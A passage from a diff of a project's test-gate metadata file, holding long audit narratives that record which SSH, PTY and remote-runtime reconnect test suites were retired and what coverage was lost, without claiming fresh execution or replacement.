runtime-environment-ssh-state.test.ts, intentionally losing metadata membership-pruning/new-target-only-read and other-environment/local-bucket isolation alarms. Preserve generation/failed-full-refresh assertion and unknown-target authoritative-list reread; these narrower cases are not equivalent replacements. The unchanged active two-case Linux reconnect materialization/sidebar receipt and covered platform retain their exact scope and do not validate the reduced SSH state selector. Preserve unrelated SSH assertions, selectors and archived history. No fresh SSH discovery, provider/PTY/network, rendered, mobile, mixed-version, cross-platform or full-gate execution is claimed. Audit3315 execution amendment: the reduced two-suite reconnect selector passed on Linux (2 cases). Original source-review statements about no fresh execution describe the earlier static review; this new receipt validates only these two local deterministic unit cases, not the complete gate or physical/runtime/rendered/provider/platform parity. Historical seven-case macOS receipt remains archived verbatim. Audit 3312 retires the ordinary six-pane distinct-live-handle reconnect/resubscription alarm from paired-reconnect-multi-pane-materialization.test.ts. The unchanged parked-pane activation/rematerialization case remains narrower and is not an equivalent replacement. The complete prior seven-contract macOS receipt is archived as historical evidence; it does not validate the reduced selector. No fresh socket, PTY, sleep/wake, provider, platform, mobile, mixed-version or rendered execution is claimed. Audit3096: remove the deleted reconnect-banner selector and its two UI aliases. The reduced recovery-state selector retains only the deadline cancelling pending backoff and explicit retry owning a new epoch alias; healthy-replacement stale-schedule and independent caller-cutoff cancellation aliases retire. Other retained state cases cover reentrant retry, owner settlement and same-epoch parked revival, without replacing those removed alarms. Prior admission-selector retirement, archived July 28 receipt, unrelated selectors/claims/receipts and old gaps remain unchanged; no fresh execution is claimed. Audit3086: retire the destroyed fresh-session fallback settlement/non-destructive reattach alias and its direct selector; retain the detach/attach selector and assertion unchanged. The retained admission cases cover adopt-before-data and explicitly buffered-death admission without a new spawn, without replacing fallback retirement. July 28 evidence was already archived by audit3077; no duplicate retirement or new execution is claimed. Audit2709 removes src/renderer/src/runtime/web-session-tabs-sync/inventory/remote-runtime-session-tabs-inflight.test.ts: intentionally retire waiting out an older inventory and sharing a fresh post-operation request among concurrent callers. No equivalent replacement or fresh execution is claimed. Dated receipts remain historical evidence for their unchanged selectors only; they do not validate the reduced commands or full current gate. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/ssh/connection/ssh-connection-manager.test.ts: tears a failed startup down quietly, so its error is not replaced by a disconnect; marks a dial that never reached the host, so setup reports SSH’s reason; removes the registration when bulk teardown fails; leaves a connection whose own reconnect is asking the user alone; clears the pool entry when the closed connection is still the registered one; still reuses a connection that is already up; dials a user's connection test. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2052 (sources2049/2050/2051): Remove complete low-value restored-pane-title and pane-visibility-identity suites and their current selectors. Their supplied snapshot/title and nullable identity-comparison alarms are intentionally lost without replacement. Unrelated dated evidenceRuns remain unchanged and do not validate the reduced commands. No fresh gate execution, actual PTY/provider, rendered, remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Delete the terminal-create idempotency forwarding suite and its prospective selector. Preserve2 unrelated receipts without claiming the lost forwarding alarm was replaced. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Delete complete transport-unmount and queued-initial-CWD helper suites: despite lifecycle-shaped fixtures, the unmount owner returns a Boolean PTY-id predicate, while CWD cases check nullish field selection and callback counts. Lose their detach/destroy/teardown and one-shot-CWD supplied examples. Partial queued-pane-startup loses three identical/empty/nonowner identity examples, retaining four exact one-shot/replacement ownership callbacks. No assertion object maps to these three sources, so unrelated alias objects remain byte-exact. Preserve the current81ed prior removal of pane-split-startup; stale bd948 source metadata snapshots are not replayed. No actual process/PTY startup, transport shutdown, live SSH or rendered recovery is proven by this metadata change. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1925 (sources1922/1923): Delete the sole supplied public-SSH-state spread/sanitized-error projection and its provider-authority-pair alias. Also delete the complete tiny one-shot split-startup wrapper suite: callback-visible temporary field/reset, sequential payload and thrown-sentinel reset alarms disappear. No SSH provider epoch handoff, connection, process startup or actual terminal split was performed by either deleted suite. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1903 removes whole mocked detach, supplied geometry and/or close-request suites selected by this gate. Their pending-CWD/PTY-binding argument/order, fabricated hit-test and close bookkeeping alarms are intentionally lost without replacement. Valid remaining selectors/assertions and unchanged-selector execution receipts retain their original scope. Reduced unit selections have no fresh broad gate, real PTY/provider, rendered focus, or measured-budget validation. Historical prior account (preserved verbatim): Audit1645 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1342 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Audit1301 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Deterministic renderer coverage proves retained native and runtime SSH payloads are admitted through production routes only with valid complete authority, stale cleanup cannot unregister a replacement runtime terminal, direct SSH Git and folder panes keep their PTY bindings through disconnect and reconnect, one authority chain stops after two automatic attempts even when each timeout exceeds the rolling window, rejected acknowledgements mutate no store maps, and one shared exact attempt admits every concurrent split-pane spawn and reattach while preserving the first PTY as the tab fallback. A later sibling failure rotates the tab once, stale callbacks from the prior attempt mutate no state, split remount activity suppression is counted per leaf, primary PTY exit promotes a bound survivor or preserves an empty continuation gap for a late sibling, and primary, non-primary, or null-PTY detach preserves exact authority on both resulting tabs. Intentional pane disposal cancels its settlement timer without breaking StrictMode remount timeout ownership. A mounted remote-runtime terminal survives repeated transport partitions without changing PTY identity. A real encrypted-WebSocket oracle proves a successful reachability probe can replace a pre-ready shared-control socket without rejecting or duplicating the waiting RPC. Direct SSH coordinator tests cover immediate terminal finalization, hydration correction, damping, bounded retry, and telemetry non-interference. Client/server heartbeat tests cover timer suspension, socket generations fence stale callbacks, cold restored-terminal attachment retries, cached pixels remain unhealthy until authoritative replay, automatic retries stop after one minute, manual reconnect preserves the PTY, and pane closure releases recovery UI state. Current-transport recovery clears every error that transport surfaced without clearing or displaying a sibling pane's errors, while transport suppression, pane retention, and the rendered surface are independently bounded. Current macOS Electron journeys against an ephemeral Linux Docker SSH target cover exact-authority repo/worktree hydration, live terminal recovery after disconnect/reconnect, and eager six-terminal remount after renderer reload. A Windows remote-runtime smoke covers reachability and PTY round-trip. Multi-target live fanout, paired-close, WSL, and patched live partition journeys remain gaps. The test-value audit narrowed resolved-worktree-execution-host.test.ts to cache reuse and invalidation. Its direct hydrated-worktree, missing-folder, restored-owner, host-stamp and empty-runtime selection alarms are lost. Other routing and recovery suites do not establish equivalent selector coverage; historical run commands and results remain historical. The test-value audit removes standalone unwritten/released renderer-authority and cross-scope request-count examples. The retained synthetic mirror/store/sidebar and pending-inventory checks do not establish real PTY byte ownership, SSH reconnection or equivalent replacement coverage; historical commands and results remain historical. The test-value audit removes direct join/label ledgers, immediate failure and negative-only stale/removal/partial-authority examples, plus the standalone retained/live event projection. Retained synthetic store/hydration compositions do not establish real SSH continuity, remote authority delivery or equivalent replacement alarms. Historical commands and results remain historical. The renderer scheduling fixture retains in-flight coalescing only. Its immediate publication and negative stale-SSH-cleanup call ledgers were removed; the retained SSH recovery evidence does not replace those alarms. The accepted-handle-events observer suite is removed, including its scoped listener and settlement-release assertions. These observer alarms are lost; retained SSH/transport journeys are not equivalent replacement coverage. The test-value audit removed repeated remote-handle rotation inventories and snapshot-first pending-restart migration examples from terminal-pty-identity-replacement.test.ts, plus direct foreground metadata setter, confirmation, evidence-enum, and prefix/worktree cleanup examples. Those rotation, pending-restart, snapshot-first migration, and foreground scalar-update alarms are lost. The retained replacement case observes pane and tab identities in one subscriber publication; it does not establish equivalent migration, process-evidence, or input-routing coverage. Historical commands and results remain historical. The test-value audit narrows terminals-hydration.test.ts to a real reconnect batch with one measured store publication and hydration-seeded history consumed by a subsequent visit/Back check. Direct split-layout, runtime/folder/floating restoration, dead-leaf focus, cold/known-absent SSH deferral, title, default-tab marker, navigation initialization, and hydrationSucceeded scalar examples are removed; those specific alarms are lost. No actual target-removal transition, live SSH connection, session writer, or persisted restart is exercised by the retained cases. The old target-scoped/snapshot assertion references are retired because the current file does not contain those oracles. Other suites and historical runs do not establish equivalent replacement coverage. Audit1299 removes tests/e2e/terminal-cold-activation-deferral.spec.ts. Private-state/work-budget/assembled-fixture alarms are intentionally lost; retained suites are not equivalent replacement coverage. No new runtime/platform evidence is claimed. Audit1301: src/renderer/src/runtime/remote-runtime-session-tabs-inflight.test.ts reduced. Direct dedupe eviction/count and equal receipt-position sample loses authored alarm. No equivalent replacement coverage is claimed. Audit1318: src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts: Retain real local encrypted WebSocket regressions for pre-ready socket replacement preserving a request, close-before-ready logical subscription cleanup, unrelated RPC surviving another deadline, and pending setup abort leaving a sibling pending. Host server is synthetic and uses production crypto; kept scenarios also retain internal diagnostics/memory assertions unchanged. Remove happy routing, authority-envelope, unknown-ID/log, cleanup enum, binary, keepalive/liveness and production-budget/private socket inventories; intentionally lose those alarms, no physical host authorization, independent crypto or remote provider claim. Reduced selectors need fresh validation; historical full-suite receipts do not validate the changed coverage. No equivalent replacement or physical-provider claim. Audit1342: src/renderer/src/hooks/ipc-events/direct-ssh-connect-reply-routing.test.ts removed. Initial and event-triggered partial-authority hydration fixture alarms disappear. src/renderer/src/components/terminal-pane/terminal-error-accumulation.test.ts removed. Multiline dedup/storm bounds, resource classification/collision, scoped clear/reconnect strip and1000-pane map count alarms disappear. No equivalent replacement coverage is claimed. Audit1396: src/renderer/src/components/terminal-pane/pty-connection-pending-spawn.spec.ts reduced. Lose standalone debug-state retention/log silence alarm. React StrictMode is not mounted; bindings manually simulate remount over mocked transport. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1400: src/main/ipc/ssh/ssh.test.ts reduced. Lose trivial missing target and mocked publication inventory. Preexisting unresolved ../ssh/ssh-port-scanner mock is recorded, not fixed. src/renderer/src/runtime/sync-runtime-graph-scheduling.test.ts removed. Removes whole coalescing call-count suite; no newest-state delivery or replacement claim. src/renderer/src/store/slices/terminal-pty-identity-replacement.test.ts reduced. Removes three no-op/work-count registrations; retains externally observed ownership consistency. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1412: src/main/ssh/ssh-provider-authority.test.ts removed. Loses real AbortController revocation/target isolation/reentrancy outcomes, recreated-target generation-floor/session rollover behavior, stale mutation refusal and settled-registration cleanup alarms. These useful alarms are deliberately lost; no equivalent cancellation coverage is claimed. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1743 removes the standalone line-height clamp/default and pane cwd fallback helper tests (5 authored cases). These trivial-helper alarms are intentionally lost, with no equivalent replacement. Only current commands/testFiles lose the deleted selectors; historical receipts and evidenceRuns remain unchanged and do not validate the reduced commands. Audit5043 intentionally deletes the entire remote-runtime-client-error-classification suite (3 authored/9 finite cases): structured-code precedence over contradictory legacy text and7 unstructured-message compatibility alarms are lost. Whole retired-request-ID helper suite (3 cases) also removed outside this selector, losing direct TTL/non-refresh, eviction refresh and backward-clock expiry alarms. No equivalent replacement is claimed. Other selectors and dated evidence retain their original scope; no fresh execution, native/provider/mobile/mixed-version/cross-platform or full-gate result is claimed.", "motivatingLinks": [ "https://linear.app/stably/issue/STA-3107", "https://github.com/stablyai/orca/pull/12664", @@ -8827,7 +7782,7 @@ "https://github.com/stablyai/orca/issues/12902" ], "invariant": "SSH, WSL, and remote-runtime restore paths must treat provider listing failures and unknown liveness as unknown, not dead, while still avoiding duplicate spawn and clearing expired relay leases exactly once. Direct SSH disconnect, reconnect, and wake must keep PTY bindings and relay identity, and target snapshot hydration/reconnect cannot reset sibling SSH, local, WSL, or runtime-owned state. Every restored remote terminal must preserve its provider PTY identity, including the authoritative incarnation returned by a successful session-ID reattach. After a recoverable partition the same authenticated runtime must reattach the same PTY, reject detached input, apply the latest viewport, and report healthy only after authoritative replay. A successful one-shot reachability probe may replace a pre-ready shared-control socket, but waiting RPCs must continue onto the replacement under their original deadline without duplicate host delivery or retained request bytes. Automatic PTY recovery stops after one bounded minute without a fatal terminal error; a manual reconnect starts a newly fenced epoch against the same PTY, and closed panes retain no recovery UI state. Successful current-transport recovery must clear every stale error surfaced for that pane without clearing or displaying a sibling pane's error; a later genuine failure must remain visible. Each transport retains at most eight suppressed messages, each pane retains at most eight distinct messages, and the rendered surface retains at most 24 lines and 4,000 characters. One capability-gated terminal-create mutation must produce at most one host PTY across an unknown response outcome, remain manually retryable after cutoff, and never let a stale completion replace a newer pane lifecycle. Reconnect must alternate exact activation with authoritative inventory so neither a stale activation response nor an activation failure can strand or retire a pane, and activating a parked surface whose persisted binding was already retired must respawn it rather than report a changed owner after signalling its exit.", - "oracle": "Audit5914 retires the whole renderer suite selecting generation-joined hydration, failed full refresh strength and unknown-target authoritative membership re-read. These real narrow alarms are intentionally lost without equivalent replacement. Narrow the compound selector and remove its testFiles entry and direct assertionRef. Remaining selectors/assertions and complete dated evidenceRuns retain only their original scope; no fresh validation of the narrowed command or whole-gate replacement claim. Preserve complete historical narratives and existing knownGaps verbatim. Complete prior account retained verbatim: Audit5879 removes the entire terminal-create-idempotency suite and accepts losing its remaining bounded in-flight coordination/capacity release alarm. Remove its compound command token, testFile and complete historical assertionRef, which also listed three no-longer-current identity/retry claims. Remaining selectors are not equivalent replacement coverage. The unrelated parked-pane dated receipt remains unchanged in its original scope; no fresh whole-gate execution is claimed. Historical prior account preserved verbatim: Audit5790 companion to audit5787: Retire navigation history hydration: subsequent visit/history/back-state alarm intentionally lost. Narrow1 compound selector and remove1 testFiles. Complete dated evidenceRuns are unchanged; none selects these retired suites and none validates narrowed selectors. All unrelated remaining assertions and selectors retain their original scope, without replacement certification. No fresh execution or current import reachability result is claimed. Complete prior account preserved verbatim below as historical: Audit5779 companion to audit5775: Retire the complete PTY detach/attach handoff suite. Handler-complete durable reattach detachment, buffered state/lifetime preservation and late spawn retain-versus-kill alarms are intentionally lost without replacement. Remove one standalone command, one testFiles entry and its direct obsolete-reattach assertionRef. Complete dated evidenceRuns are unchanged; none selects these retired suites and none validates narrowed selectors. All unrelated remaining assertions and selectors retain their original scope, without replacement certification. No fresh execution or current import reachability result is claimed. Complete prior account preserved verbatim below as historical: Audit5748 companion to audit5744 retires the whole queued-pane-startup.test.ts suite. Its remaining captured-primary split ownership, one-shot repeated-spawn consumption, replacement-before-spawn refusal and permanently spent skipped-consumer alarms are intentionally lost without equivalent replacement. Remove its standalone unit selector or narrow the compound selector and remove its testFiles entry. Existing assertionRefs/evidenceRuns keep only their original scope and are unchanged; no fresh execution, current import reachability, PTY/provider/native/platform or replacement coverage is claimed. Complete prior account preserved verbatim: Audit5658 integrates source audit5652: retire the whole remote-runtime-pty-recovery-state.test.ts suite and its exact active selectors and assertionRef. Intentionally lose reentrant retry single dispatch; shared owner-refresh caller settlement and per-epoch allowance; deadline registry revival; parked same-epoch retry; actual deadline versus UI disconnected latch alarms without replacement. Remaining selectors retain only their own scope; no fresh execution, native/platform or remote evidence is claimed. Complete original selector fields are preserved in knownGaps. Historical prior account (preserved verbatim): Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit3368 narrows stream-reconnect coverage to the actual ten synthetic transport epochs retaining one PTY identity, accepting and holding detached input for exactly-once later delivery, current decoded output and per-epoch subscription release. Prior rejection wording was inaccurate. Phase/backoff/cutoff/manual reconnect and parser/OSC/pause/retained-image/fatal/latch/claim/early-close alarms are intentionally lost without equivalent replacement. The Linux multi-pane reconnect receipt remains verbatim with its original scope; no fresh live SSH/provider/PTY/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit3359 retires whole host-surface-replacement and create-handoff suites, removing their compound unit command tokens, test-file entries and assertion references. Fake polling/deadline/subscription, supplied stale-handle ownership, close and replacement examples are intentionally lost without equivalent replacement. The unrelated Linux paired multi-pane reconnect receipt stays verbatim with its original scope. No fresh SSH/provider/network/PTY recovery, historical-import, mobile, mixed-version or cross-platform validation is claimed. Audit3342 retires the complete client create-outcome identity/options/recovery suite and the malformed-or-contradictory repo-owner response matrix. Client replay identity, options, no-downgrade, quiescence/budget/manual retry, authoritative probe-error and malformed-owner refusal alarms are intentionally lost without equivalent replacement. Remaining repo-owner late catalog and old-host re-adoption boundaries do not replace them. The unrelated Linux paired-reconnect receipt stays verbatim with its original scope. Surviving selectors are unexecuted here; no fresh SSH/provider/process-deduplication, mobile, mixed-version or cross-platform validation is claimed. Audit3326 adopts reconciled source audit3324 and intentionally retires these low-value examples and their regression alarms: keeps a sidebar row for every still-live pane after a long sleep — Whole suite: 279 lines manually replay renderer ownership registry/status writes, snapshot patch/set, six-pane fixture inventory, and sidebar selectors/builders; expected pane IDs are production-computed. Does not run sleep/wake/transport or actual sidebar entry. Retires reconnect row-preservation assembly alarm.; still retires the regular TUI surface after an explicit terminal exit — Ordinary explicit-exit callback/map cleanup is repeated in the stale/new stream lifecycle case below. Retires separate regular-TUI baseline; keeper is not equivalent process/UI proof.; asks the HUB to recover an expired SSH pane and rebinds the host identity — Expired SSH owner error must ask the owning HUB to recover, then adopt fixed replacement handle, resubscribe and report rebind; actual transport dispatch and handle state prevent wrong-client recovery.; does not recover a pane whose relay reply was an identity mismatch — Identity mismatch means a different live PTY, so actual transport must surface refusal without recover/create, keeping original identity. Prevents destructive duplicate agent recovery.; fails closed when an older HUB cannot recover an expired SSH pane — Old HUB method_not_found is scripted mock refusal/error echo with no actual skewed host; repeats generic recovery failure propagation. Retires old-host recovery fallback refusal example.; names a held recovery's stopped WSL distro in readable copy, not the raw hold code — Pins exact WSL stopped-distro error prose after mock code; translation/copy assertion with no actual held recovery behavior. Retires readable-copy alarm.. Retained tests do not replace these alarms. Dated unrelated evidence remains scoped to its original execution; no historical source/import-closure equivalence, fresh execution, real network/provider/SSH, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit 3318 reduces runtime-environment-ssh-state.test.ts, intentionally losing metadata membership-pruning/new-target-only-read and other-environment/local-bucket isolation alarms. Preserve generation/failed-full-refresh assertion and unknown-target authoritative-list reread; these narrower cases are not equivalent replacements. The unchanged active two-case Linux reconnect materialization/sidebar receipt and covered platform retain their exact scope and do not validate the reduced SSH state selector. Preserve unrelated SSH assertions, selectors and archived history. No fresh SSH discovery, provider/PTY/network, rendered, mobile, mixed-version, cross-platform or full-gate execution is claimed. Audit 3312 retires the ordinary six-pane distinct-live-handle reconnect/resubscription alarm from paired-reconnect-multi-pane-materialization.test.ts. The unchanged parked-pane activation/rematerialization case remains narrower and is not an equivalent replacement. The complete prior seven-contract macOS receipt is archived as historical evidence; it does not validate the reduced selector. No fresh socket, PTY, sleep/wake, provider, platform, mobile, mixed-version or rendered execution is claimed. Audit3096: remove the deleted reconnect-banner selector and its two UI aliases. The reduced recovery-state selector retains only the deadline cancelling pending backoff and explicit retry owning a new epoch alias; healthy-replacement stale-schedule and independent caller-cutoff cancellation aliases retire. Other retained state cases cover reentrant retry, owner settlement and same-epoch parked revival, without replacing those removed alarms. Prior admission-selector retirement, archived July 28 receipt, unrelated selectors/claims/receipts and old gaps remain unchanged; no fresh execution is claimed. Audit3086: retire the destroyed fresh-session fallback settlement/non-destructive reattach alias and its direct selector; retain the detach/attach selector and assertion unchanged. The retained admission cases cover adopt-before-data and explicitly buffered-death admission without a new spawn, without replacing fallback retirement. July 28 evidence was already archived by audit3077; no duplicate retirement or new execution is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/ssh/connection/ssh-connection-manager.test.ts: tears a failed startup down quietly, so its error is not replaced by a disconnect; marks a dial that never reached the host, so setup reports SSH’s reason; removes the registration when bulk teardown fails; leaves a connection whose own reconnect is asking the user alone; clears the pool entry when the closed connection is still the registered one; still reuses a connection that is already up; dials a user's connection test. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2052 (sources2049/2050/2051): Remove complete low-value restored-pane-title and pane-visibility-identity suites and their current selectors. Their supplied snapshot/title and nullable identity-comparison alarms are intentionally lost without replacement. Unrelated dated evidenceRuns remain unchanged and do not validate the reduced commands. No fresh gate execution, actual PTY/provider, rendered, remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Delete the terminal-create idempotency forwarding suite and its prospective selector. Preserve2 unrelated receipts without claiming the lost forwarding alarm was replaced. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Delete complete transport-unmount and queued-initial-CWD helper suites: despite lifecycle-shaped fixtures, the unmount owner returns a Boolean PTY-id predicate, while CWD cases check nullish field selection and callback counts. Lose their detach/destroy/teardown and one-shot-CWD supplied examples. Partial queued-pane-startup loses three identical/empty/nonowner identity examples, retaining four exact one-shot/replacement ownership callbacks. No assertion object maps to these three sources, so unrelated alias objects remain byte-exact. Preserve the current81ed prior removal of pane-split-startup; stale bd948 source metadata snapshots are not replayed. No actual process/PTY startup, transport shutdown, live SSH or rendered recovery is proven by this metadata change. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1925 (sources1922/1923): Delete the sole supplied public-SSH-state spread/sanitized-error projection and its provider-authority-pair alias. Also delete the complete tiny one-shot split-startup wrapper suite: callback-visible temporary field/reset, sequential payload and thrown-sentinel reset alarms disappear. No SSH provider epoch handoff, connection, process startup or actual terminal split was performed by either deleted suite. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1903 removes whole mocked detach, supplied geometry and/or close-request suites selected by this gate. Their pending-CWD/PTY-binding argument/order, fabricated hit-test and close bookkeeping alarms are intentionally lost without replacement. Valid remaining selectors/assertions and unchanged-selector execution receipts retain their original scope. Reduced unit selections have no fresh broad gate, real PTY/provider, rendered focus, or measured-budget validation. Historical prior account (preserved verbatim): Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Deterministic tests cover bounded stale-handle replacement, suspended heartbeat clocks, cold and established subscription failure, ten partition/recovery cycles, automatic-recovery cutoff, manual reconnect, and direct SSH binding retention. They assert SSH state changes leave PTY bindings in place, relay identity survives, and another target/local/WSL/runtime panes remain byte-identical through target snapshot hydration and reconnect. Both remount callbacks consume split-count activity suppression, intentional dispose emits no failure/timeout, and a same-attempt StrictMode remount still owns one timeout. Hydration clears an untrusted PTY hint without clearing its current pending owner, healthy current-authority bindings suppress correction, hydration finalizes once, and reconnect emits no paired close lifecycle. A provider-level session-ID reattach returns an incarnation, then a legacy exit without an incarnation must resolve to that returned identity rather than minting a fallback identity. The shared-control oracle withholds the first encrypted ready frame, starts one RPC, triggers the successful-probe refresh, then requires exactly two client connections, one host request, a successful response, zero pending calls, and zero retained request bytes. Tests also assert one unsubscribe per remote-runtime epoch, observable recovery phases, stable PTY identity, resumed snapshot/output/input, no healthy state before replay, no retry or input after cutoff, a new manual epoch against the same PTY, quiet recovery UI with an explicit Reconnect action, pane-close state cleanup, one stable create mutation id, old-runtime no-retry behavior, cross-process PTY adoption, and bounded in-flight coordination. A focused recovery oracle surfaces two distinct failures through one transport, completes authoritative replay, and requires both matching clear callbacks; pane-state tests require only the active pane's error to render, matching-pane recovery to preserve sibling and unrelated errors, dismissal to re-admit later failures, and distinct storms to retain only the newest eight messages within 24 lines and 4,000 characters. The retained store replacement assertion observes one atomic pane/tab subscriber publication; repeated rotations and snapshot-first pending-restart migration no longer have their direct store examples. Preload layout cleanup retires the mock SSH forwarding/type-census suite without replacement: preload wiring alarms are lost; shared authority-admission tests cover narrower behavior. Historical receipts retain their original scope.", + "oracle": "Protection is limited to unchanged-selector receipts; remapped E2E journeys are unexecuted after E2E layout cleanup. Historical account: Audit5914 retires the whole renderer suite selecting generation-joined hydration, failed full refresh strength and unknown-target authoritative membership re-read. These real narrow alarms are intentionally lost without equivalent replacement. Narrow the compound selector and remove its testFiles entry and direct assertionRef. Remaining selectors/assertions and complete dated evidenceRuns retain only their original scope; no fresh validation of the narrowed command or whole-gate replacement claim. Preserve complete historical narratives and existing knownGaps verbatim. Complete prior account retained verbatim: Audit5879 removes the entire terminal-create-idempotency suite and accepts losing its remaining bounded in-flight coordination/capacity release alarm. Remove its compound command token, testFile and complete historical assertionRef, which also listed three no-longer-current identity/retry claims. Remaining selectors are not equivalent replacement coverage. The unrelated parked-pane dated receipt remains unchanged in its original scope; no fresh whole-gate execution is claimed. Historical prior account preserved verbatim: Audit5790 companion to audit5787: Retire navigation history hydration: subsequent visit/history/back-state alarm intentionally lost. Narrow1 compound selector and remove1 testFiles. Complete dated evidenceRuns are unchanged; none selects these retired suites and none validates narrowed selectors. All unrelated remaining assertions and selectors retain their original scope, without replacement certification. No fresh execution or current import reachability result is claimed. Complete prior account preserved verbatim below as historical: Audit5779 companion to audit5775: Retire the complete PTY detach/attach handoff suite. Handler-complete durable reattach detachment, buffered state/lifetime preservation and late spawn retain-versus-kill alarms are intentionally lost without replacement. Remove one standalone command, one testFiles entry and its direct obsolete-reattach assertionRef. Complete dated evidenceRuns are unchanged; none selects these retired suites and none validates narrowed selectors. All unrelated remaining assertions and selectors retain their original scope, without replacement certification. No fresh execution or current import reachability result is claimed. Complete prior account preserved verbatim below as historical: Audit5748 companion to audit5744 retires the whole queued-pane-startup.test.ts suite. Its remaining captured-primary split ownership, one-shot repeated-spawn consumption, replacement-before-spawn refusal and permanently spent skipped-consumer alarms are intentionally lost without equivalent replacement. Remove its standalone unit selector or narrow the compound selector and remove its testFiles entry. Existing assertionRefs/evidenceRuns keep only their original scope and are unchanged; no fresh execution, current import reachability, PTY/provider/native/platform or replacement coverage is claimed. Complete prior account preserved verbatim: Audit5658 integrates source audit5652: retire the whole remote-runtime-pty-recovery-state.test.ts suite and its exact active selectors and assertionRef. Intentionally lose reentrant retry single dispatch; shared owner-refresh caller settlement and per-epoch allowance; deadline registry revival; parked same-epoch retry; actual deadline versus UI disconnected latch alarms without replacement. Remaining selectors retain only their own scope; no fresh execution, native/platform or remote evidence is claimed. Complete original selector fields are preserved in knownGaps. Historical prior account (preserved verbatim): Audit3390 composes root-adopted3382/independent3383 